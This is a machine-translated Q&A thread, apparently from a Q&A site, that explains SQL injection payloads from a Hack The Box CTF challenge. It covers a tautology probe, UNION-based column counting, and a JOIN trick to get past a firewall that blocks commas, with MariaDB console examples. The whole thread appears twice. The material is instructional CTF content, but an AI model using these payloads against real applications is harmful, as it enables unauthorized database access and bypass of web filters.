关于一些 SQL 注入命令的说明
Clarifications about some SQL Injection commands
我正在为 hackthebox 上的 CTF(夺旗)网络挑战而苦苦挣扎,我不是渗透测试方面的专家我请求你的帮助向我解释(带有一些评论)一些用于实现解决方案的命令,特别是关于命令本身的语法和逻辑。 (可以在这里找到对命令的引用(click me),所以你对整个情况很清楚)。
我要求你非常详细,即使是看似微不足道的事情。
撇开base64编码(我理解的)我需要了解这些命令及其相关参数(命令的语法和逻辑):
1th: {"ID":"1"}
2nd: {"ID": "1' or 1-- -"}
3rd: {"ID": "-1' union select * from (select 1)table1 JOIN (SELECT 2)table2 on 1=1-- -"}
关于第三条命令,我看到了相同的命令,但更改了 table 个名称,如下所示:
{"ID": "-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1-- -"}
有什么区别?查询中 table 的名称是否无关紧要?
如果您需要进一步说明或者我没有说清楚,请告诉我,我会尽力帮助您。提前谢谢你。
黑客攻击的阶段是:侦察、扫描、获取访问权限、保持访问权限和清除痕迹。基本上就是obtain information
,然后do something with that information
看来这个SQL注入学习模块是用来教如何获取当前系统信息的
SQL注入的基础是插入SQLcode/command/syntax。它通常在 WHERE 子句中完成(因为 webapp 通常具有搜索功能,这基本上是检索用户输入并将其插入到 where 子句中。
例如,最简单的漏洞是这样的(假设 MySQL 和 PHP):
SELECT * FROM mytable WHERE mycolumn='$_GET[myparam]'
有效载荷是您放入参数(例如:myparam)中以进行 SQL 注入的内容。
通过这样的查询,您可以注入 payload 1' OR 1=1
来测试 SQL 注入漏洞。
第一个有效载荷
第一个payload用于检查是否有注入点(可以注入的参数)。
- 如果你改变参数并且输出有变化,那么这意味着有一个注入点。
- 否则没有注入点
第二个有效载荷
第二个有效负载用于检查目标应用是否存在 SQL 注入漏洞(应用是否会清理用户的输入)。
- 如果应用程序显示所有输出,则表示该应用程序存在 SQL 注入漏洞。解释:因为发送到 RDBMS 的查询会变成这样
注射前:
SELECT col1, col2, ... colN FROM mytable WHERE col1='myparam'
注射后:
SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1-- -'
请注意,在MySQL中,--
(minus-minus-space)用于标记行内注释。所以实际的查询是:SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1
第三个有效载荷
第三个有效负载用于检查查询的列数 SELECT。要理解这一点,您必须理解 subquery
、join
和 union
(进行快速搜索,这是一个非常基本的概念)。名称或 table 别名并不重要(UT1 或 UT2),它只是标识符,因此它与当前的 table 别名不同。
- 如果查询成功(没有报错,app显示输出),则说明app查询了SELECTs 2列
- 如果查询失败,则表示它不是 2 列,您可以更改负载以检查 3 列、4 列等...
检查 SELECT 语句是否有 3 列的示例:
-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 -- -
提示:在了解 SQL 注入时,只需将有效负载键入(或 copy-paste)到 SQL 控制台(如果查询使用虚拟机或沙箱)会容易得多被认为是危险的)。
编辑 1:
子查询和联合的基本解释
子查询:它基本上是将一个查询放在另一个查询中。可以在 SELECT 子句、FROM 子句和 WHERE 子句中插入子查询。
FROM 子句中的子查询示例:
select * from (select 'hello','world','foo','bar')x;
WHERE 子句中的子查询示例:
select * from tblsample t1 where t1.price>(select avg(t2.price) from tblsample t2);
联合:连接 select 输出,示例:
tbl1
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | Rupert | Somewhere | 022 |
| 2 | John | Doe | 022 |
+----+--------+-----------+------+
tbl2
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | AAAAAA | DDDDDDDDD | 022 |
| 2 | BBBB | CCC | 022 |
+----+--------+-----------+------+
select * from tbl1 union select * from tbl2
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | Rupert | Somewhere | 022 |
| 2 | John | Doe | 022 |
| 1 | AAAAAA | DDDDDDDDD | 022 |
| 2 | BBBB | CCC | 022 |
+----+--------+-----------+------+
编辑 2:
第三个有效载荷的进一步解释
在 mysql 中,您可以通过 select 值创建 'literal table'。这是一个例子:
MariaDB [(none)]> SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
MariaDB [(none)]> SELECT 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
| 1 | 2 |
+----------+-----------+
1 row in set (0.00 sec)
做这个'literal table'的目的是检查我们注入的SELECT语句有多少列。例如:
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
| 1 | 2 |
| 3 | 4 |
+----------+-----------+
2 rows in set (0.07 sec)
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol, 5 fifthcol;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
如上所示,当UNION 用于两个具有不同列数的select 语句时,它会抛出错误。因此,当 SELECT 语句不抛出错误时,您可以获得多少列。
那么,为什么我们不直接使用 SELECT 1, 2
来生成具有 2 列的 'literal table'?那是因为应用程序的防火墙阻止了逗号的使用。因此我们必须绕道而行,使用 JOIN 查询 SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1
制作 2 列 'literal table'
MariaDB [(none)]> SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.01 sec)
补充说明:MariaDB 是 MySQL 的 'free version'(因为 MySQL 被出售并成为专有的)。 MariaDB 或多或少地保持与 MySQL.
相同的语法和命令
我正在为 hackthebox 上的 CTF(夺旗)网络挑战而苦苦挣扎,我不是渗透测试方面的专家我请求你的帮助向我解释(带有一些评论)一些用于实现解决方案的命令,特别是关于命令本身的语法和逻辑。 (可以在这里找到对命令的引用(click me),所以你对整个情况很清楚)。
我要求你非常详细,即使是看似微不足道的事情。 撇开base64编码(我理解的)我需要了解这些命令及其相关参数(命令的语法和逻辑):
1th: {"ID":"1"}
2nd: {"ID": "1' or 1-- -"}
3rd: {"ID": "-1' union select * from (select 1)table1 JOIN (SELECT 2)table2 on 1=1-- -"}
关于第三条命令,我看到了相同的命令,但更改了 table 个名称,如下所示:
{"ID": "-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1-- -"}
有什么区别?查询中 table 的名称是否无关紧要?
如果您需要进一步说明或者我没有说清楚,请告诉我,我会尽力帮助您。提前谢谢你。
黑客攻击的阶段是:侦察、扫描、获取访问权限、保持访问权限和清除痕迹。基本上就是obtain information
,然后do something with that information
看来这个SQL注入学习模块是用来教如何获取当前系统信息的
SQL注入的基础是插入SQLcode/command/syntax。它通常在 WHERE 子句中完成(因为 webapp 通常具有搜索功能,这基本上是检索用户输入并将其插入到 where 子句中。
例如,最简单的漏洞是这样的(假设 MySQL 和 PHP):
SELECT * FROM mytable WHERE mycolumn='$_GET[myparam]'
有效载荷是您放入参数(例如:myparam)中以进行 SQL 注入的内容。
通过这样的查询,您可以注入 payload 1' OR 1=1
来测试 SQL 注入漏洞。
第一个有效载荷
第一个payload用于检查是否有注入点(可以注入的参数)。
- 如果你改变参数并且输出有变化,那么这意味着有一个注入点。
- 否则没有注入点
第二个有效载荷
第二个有效负载用于检查目标应用是否存在 SQL 注入漏洞(应用是否会清理用户的输入)。
- 如果应用程序显示所有输出,则表示该应用程序存在 SQL 注入漏洞。解释:因为发送到 RDBMS 的查询会变成这样
注射前:
SELECT col1, col2, ... colN FROM mytable WHERE col1='myparam'
注射后:
SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1-- -'
请注意,在MySQL中,--
(minus-minus-space)用于标记行内注释。所以实际的查询是:SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1
第三个有效载荷
第三个有效负载用于检查查询的列数 SELECT。要理解这一点,您必须理解 subquery
、join
和 union
(进行快速搜索,这是一个非常基本的概念)。名称或 table 别名并不重要(UT1 或 UT2),它只是标识符,因此它与当前的 table 别名不同。
- 如果查询成功(没有报错,app显示输出),则说明app查询了SELECTs 2列
- 如果查询失败,则表示它不是 2 列,您可以更改负载以检查 3 列、4 列等...
检查 SELECT 语句是否有 3 列的示例:
-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 -- -
提示:在了解 SQL 注入时,只需将有效负载键入(或 copy-paste)到 SQL 控制台(如果查询使用虚拟机或沙箱)会容易得多被认为是危险的)。
编辑 1:
子查询和联合的基本解释
子查询:它基本上是将一个查询放在另一个查询中。可以在 SELECT 子句、FROM 子句和 WHERE 子句中插入子查询。
FROM 子句中的子查询示例:
select * from (select 'hello','world','foo','bar')x;
WHERE 子句中的子查询示例:
select * from tblsample t1 where t1.price>(select avg(t2.price) from tblsample t2);
联合:连接 select 输出,示例:
tbl1
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | Rupert | Somewhere | 022 |
| 2 | John | Doe | 022 |
+----+--------+-----------+------+
tbl2
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | AAAAAA | DDDDDDDDD | 022 |
| 2 | BBBB | CCC | 022 |
+----+--------+-----------+------+
select * from tbl1 union select * from tbl2
+----+--------+-----------+------+
| id | name | address | tele |
+----+--------+-----------+------+
| 1 | Rupert | Somewhere | 022 |
| 2 | John | Doe | 022 |
| 1 | AAAAAA | DDDDDDDDD | 022 |
| 2 | BBBB | CCC | 022 |
+----+--------+-----------+------+
编辑 2:
第三个有效载荷的进一步解释
在 mysql 中,您可以通过 select 值创建 'literal table'。这是一个例子:
MariaDB [(none)]> SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
MariaDB [(none)]> SELECT 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
| 1 | 2 |
+----------+-----------+
1 row in set (0.00 sec)
做这个'literal table'的目的是检查我们注入的SELECT语句有多少列。例如:
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
| 1 | 2 |
| 3 | 4 |
+----------+-----------+
2 rows in set (0.07 sec)
MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol, 5 fifthcol;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
如上所示,当UNION 用于两个具有不同列数的select 语句时,它会抛出错误。因此,当 SELECT 语句不抛出错误时,您可以获得多少列。
那么,为什么我们不直接使用 SELECT 1, 2
来生成具有 2 列的 'literal table'?那是因为应用程序的防火墙阻止了逗号的使用。因此我们必须绕道而行,使用 JOIN 查询 SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1
MariaDB [(none)]> SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.01 sec)
补充说明:MariaDB 是 MySQL 的 'free version'(因为 MySQL 被出售并成为专有的)。 MariaDB 或多或少地保持与 MySQL.
相同的语法和命令